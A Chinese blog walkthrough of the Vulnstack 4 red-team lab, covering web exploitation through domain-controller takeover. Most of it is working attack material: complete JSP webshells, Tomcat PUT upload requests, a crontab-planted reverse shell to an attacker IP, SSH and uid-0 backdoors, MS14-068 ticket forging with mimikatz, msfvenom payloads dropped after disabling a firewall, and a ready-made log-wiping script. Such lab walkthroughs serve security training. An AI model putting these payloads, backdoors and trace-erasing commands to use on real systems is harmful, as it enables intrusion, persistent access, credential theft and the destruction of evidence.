ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

  • A+
所属分类:安全文章

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透



当才华支撑不住你的野心,你就应该静下心来读书学习。





ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

整理了“ATT&CK实战系列-红队评估"全部七套靶场。

文章结尾附全套免费下载链接。

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透
ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透



靶场介绍

靶场下载、配置参考:http://vulnstack.qiyuanxuetang.net/vuln/detail/6/
靶场配置后需要自行开启 vulhub 里面的三个漏洞。

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

1、信息收集

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

2、漏洞分析

该阶段为漏洞挖掘、漏洞扫描、漏洞验证

2.1 struts2 漏洞

struts2 漏洞检查工具:

https://github.com/HatBoy/Struts2-Scan

https://github.com/shack2/Struts2VulsTools

https://github.com/x51/STS2G

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

Vulmap 是一款 web 漏洞扫描和验证工具

https://github.com/zhzyker/vulmap

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

2.2 tomcat 漏洞

Vulmap 是一款 web 漏洞扫描和验证工具

https://github.com/zhzyker/vulmap

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)


PUT /1.jsp/ HTTP/1.1

Host: 192.168.157.128:2002

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 666


<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp

+"n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>


ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透
漏洞验证存在该漏洞,下步可以上传冰蝎马等

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

2.3 phpmyadmin 漏洞

phpmyadmin 未授权

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透


phpmyadmin 4.8.1 远程文件包含漏洞


漏洞影响

phpMyAdmin 4.8.0和4.8.1受到影响。


漏洞利用

利用条件:需要账号密码或者config模式


利用payload:

访问http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd,可见/etc/passwd被读取

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

3、漏洞利用

3.1 struts2-45 漏洞 getshell

利用工具上传冰蝎马:

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>


ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

3.2 Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)getshell

PUT /shell.jsp/ HTTP/1.1

Host: 192.168.157.128:2002

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 666


<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";

/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);

Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));

new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

3.3 phpmyadmin 4.8.1 远程文件包含漏洞 getshell

访问,可见/etc/passwd被读取,说明存在该漏洞。

http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

3.4 docker 逃逸

1、判断是否为docker 环境

1、使用下面命令,查看是否存在 dockerrnv 文件

ls -alh /.dockerenv


2、查看系统进程的cgroup信息

cat /proc/1/cgroup

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透


2、挂载宿主机
当docker容器内拥有宿主机文件读写权限时,可以通过写ssh密钥、计划任务等方式达到逃逸。

查看磁盘文件: fdisk -l

新建目录以备挂载: mkdir /test

将宿主机/dev/sda1 目录挂载至容器内 /test: mount /dev/sda1 /test

即可写文件获取权限或数据

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透
3、写入一个反弹 shell 脚本:

touch /test/tmp/test.sh

chmod +x /test/tmp/test.sh

ls -ll /test/tmp/test.sh

echo "#!/bin/bash" >> /test/tmp/test.sh

echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.157.136/13122 0>&1"  >> /test/tmp/test.sh

或者

sed -i '$a/bin/bash -i  >&  bash -i >& /dev/tcp/192.168.157.136/13122 0>&1' /test/tmp/test.sh


cat /test/tmp/test.sh

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透


4、写入任务计划

sed -i '$a*/2 *    * * *    root  bash /tmp/test.sh ' /test/etc/crontab

cat /test/etc/crontab

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

5、攻击机监听端口获取shell,逃逸成功

nc -lvvp 13122

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

4、权限提升

在docker 逃逸过程中,使用crontab 提权到root 权限:

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

5、权限维持

5.1 SSH 软连接后门

软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),然而su在pam_rootok只检测uid 0即可认证成功,这样就导致了可以使用任意密码登录。

ln -sf /usr/sbin/sshd /tmp/su

/tmp/su -oPort=888

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

然后输入任意密码即可登录


ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

5.2 添加 uid 0 用户后门

useradd -p `openssl passwd 123456`  -o -u 0 hacker

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

6、横向渗透

6.1 搭建socks 代理

1、使用ew 开启一个正向代理

EW正向代理:

Web服务器的设置


如果是Linux系统

./ew_for_linux64 -s ssocksd -l 2080  #监听本地的1080端口


如果是Windows系统

ew_for_Win.exe -s ssocksd -l 2080   #监听本地的1080端口


主机的设置


如果是Linux系统,配置proxychains代理链的配置文件,将代理设置成 100.100.10.12的1080端口:socks5 100.100.10.12 1080

然后命令前面加上 proxychains即可。如:proxychains curl 192.168.10.19


如果是Windows系统,直接浏览器中设置代理为 web_ip 的1080端口,或者利用  Proxifier 、sockscap64 设置全局代理


ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透


ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

2、使用chisel 搭建一个代理

服务端:

./chisel_linux64 server -p 2080 --socks5

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

攻击端:

./chisel_linux64 client 192.168.157.128:2080 socks

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透


6.2 内网信息收集

  • 本机信息收集

id                  查看当前用户的权限和所在的管理组

uname -a            查看linux版本内核信息

cat /proc/version   查看内核信息

cat /etc/*release   查看linux发行信息

dpkg -l             查看安装的包

crontab -l          是否有计划任务

/sbin/ifconfig -a   查看ip地址等

cat /etc/passwd     普通用户可以查看用户的信息

cat /etc/shadow     账号密码信息

cat /root/.mysql_history 查看mysql历史操作

cat /root/.bash_history 查看用户指令历史记录

find / -perm -u=s -type f 2>/dev/null        匹配高权限的文件,看是否有利用点

  • 内网主机存活

for k in $( seq 1 255);do ping -c 1 192.168.183.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

  • 端口服务探测

proxychains4 nmap -Pn -sT -T4 -p21,22,135,445,80,53,3389,8080,1433,8080 192.168.183.129

proxychains4 nmap -Pn -sT -T4 -p21,22,135,445,80,53,3389,8080,1433,8080 192.168.183.130

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

auxiliary/scanner/smb/smb_version

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

6.3 横向渗透–域成员

使用ms17-010 拿下域成员

exploit/windows/smb/ms17_010_eternalblue

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透


net user hacker [email protected] /add

net user localgroup administrators hacker /add

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

开启3389

run post/windows/manage/enable_rdp

或者

REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

6.4 横向渗透–域控

  • 切换域内用户

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

  • 域内基础信息收集

查看域名

Net config workstation

Ipconfig /all


查看几个域

Net view /domain


查看是否是域名主机

Net time /domain


查看域内主机

Net user /domain


查看域控

Net group “domain controllers“ /domain


查看域管理员

Net group “domain admins” /domain

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

查看域控

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透




获取sid

demodouser S-1-5-21-979886063-1111900045-1414766810-1107

返回system权限 ,dump 账号密码和hash 值

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

TESTWIN7-PC$  DEMO         e3ba914bdaca29c197c7191ebf521873  68a1422322c303e4c24d63f381a03b34eb434477

douser        DEMO         bc23b0b4d5bf5ff42bc61fb62e13886e  c48096437367aad00ac2dc70552051cd84912a55


douser        DEMO         Dotest123


利用ms14-068生成票据:

MS14-068.exe -u [email protected] -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130


ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透



mimikztz 注入票据:

mimikatz # Kerberos::ptc c:[email protected]

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透
获取域控权限:

dir WIN-ENS2VR5TR3Nc$

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透
生产一个正向连接payload:

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8989 -f exe-service -o /var/www/html/360.exe

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透


将 payload 上传到跳板机:

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透


关闭域控防火墙,将payload复制到域控:

sc WIN-ENS2VR5TR3N create ProFirewall binpath= "netsh advfirewall set allprofiles state off"

复制命令:

xcopy 360.exe  WIN-ENS2VR5TR3Nc$

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

创建服务成功,开启防火墙,运行 payload

sc WIN-ENS2VR5TR3N create Startup binpath= "C:360.exe"

sc WIN-ENS2VR5TR3N start ProFirewall

sc WIN-ENS2VR5TR3N start Startup

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透
设置监听,获取shell

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透


ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透
获取账号密码

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

开启3389

run post/windows/manage/enable_rdp

或者

REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

7、痕迹清理

7.1 Linux

清除命令历史记录

histroy -r          #删除当前会话历史记录

history -c          #删除内存中的所有命令历史

rm .bash_history   #删除历史文件中的内容

HISTZISE=0          #通过设置历史命令条数来清除所有历史记录

在隐蔽的位置执行命令

使用vim打开文件执行命令


:set history=0

:!command


linux日志文件

/var/run/utmp 记录现在登入的用户

/var/log/wtmp 记录用户所有的登入和登出

/var/log/lastlog 记录每一个用户最后登入时间

/var/log/btmp 记录错误的登入尝试

/var/log/auth.log 需要身份确认的操作

/var/log/secure 记录安全相关的日志信息

/var/log/maillog 记录邮件相关的日志信息

/var/log/message 记录系统启动后的信息和错误日志

/var/log/cron 记录定时任务相关的日志信息

/var/log/spooler 记录UUCP和news设备相关的日志信息

/var/log/boot.log 记录守护进程启动和停止相关的日志消息

完全删除日志文件:


cat /dev/null > filename

: > filename

> filename

echo "" > filename

echo > filename

针对性删除日志文件:


删除当天日志

sed  -i '/当天日期/'d  filename


一键清除脚本:

#!/usr/bin/bash

echo > /var/log/syslog

echo > /var/log/messages

echo > /var/log/httpd/access_log

echo > /var/log/httpd/error_log

echo > /var/log/xferlog

echo > /var/log/secure

echo > /var/log/auth.log

echo > /var/log/user.log

echo > /var/log/wtmp

echo > /var/log/lastlog

echo > /var/log/btmp

echo > /var/run/utmp

rm ~/./bash_history

history -c


7.2 windows

1.查看事件日志

run event_manager -i

2.删除事件日志

run event_manager -c

3.clearv命令清除目标系统的事件日志。

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透


引用参考:

https://blog.csdn.net/weixin_42918771/article/details/116207505?spm=1001.2014.3001.5501



ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透


关注公众号,回复

内网靶场

获取红队评估全部七套靶场,共计200G以




ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

长按-识别-关注

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

Hacking黑白红

一个专注信息安全技术的学习平台

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

点分享

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

点收藏

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

点点赞

ATT&CK实战系列-红队评估 (四)Vulnstack靶场内网域渗透

点在看



相关推荐: Kafka 3.0重磅发布,都更新了些啥?

Kafka 设计之初被用于消息队列,自 2011 年由 LinkedIn 开源以来,Kafka 迅速从消息队列演变为成熟的事件流处理平台。 Kafka 具有四个核心 API,借助这些 API,Kafka 可以用于以下两大类应用: 建立实时流数据管道,可靠地进行…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: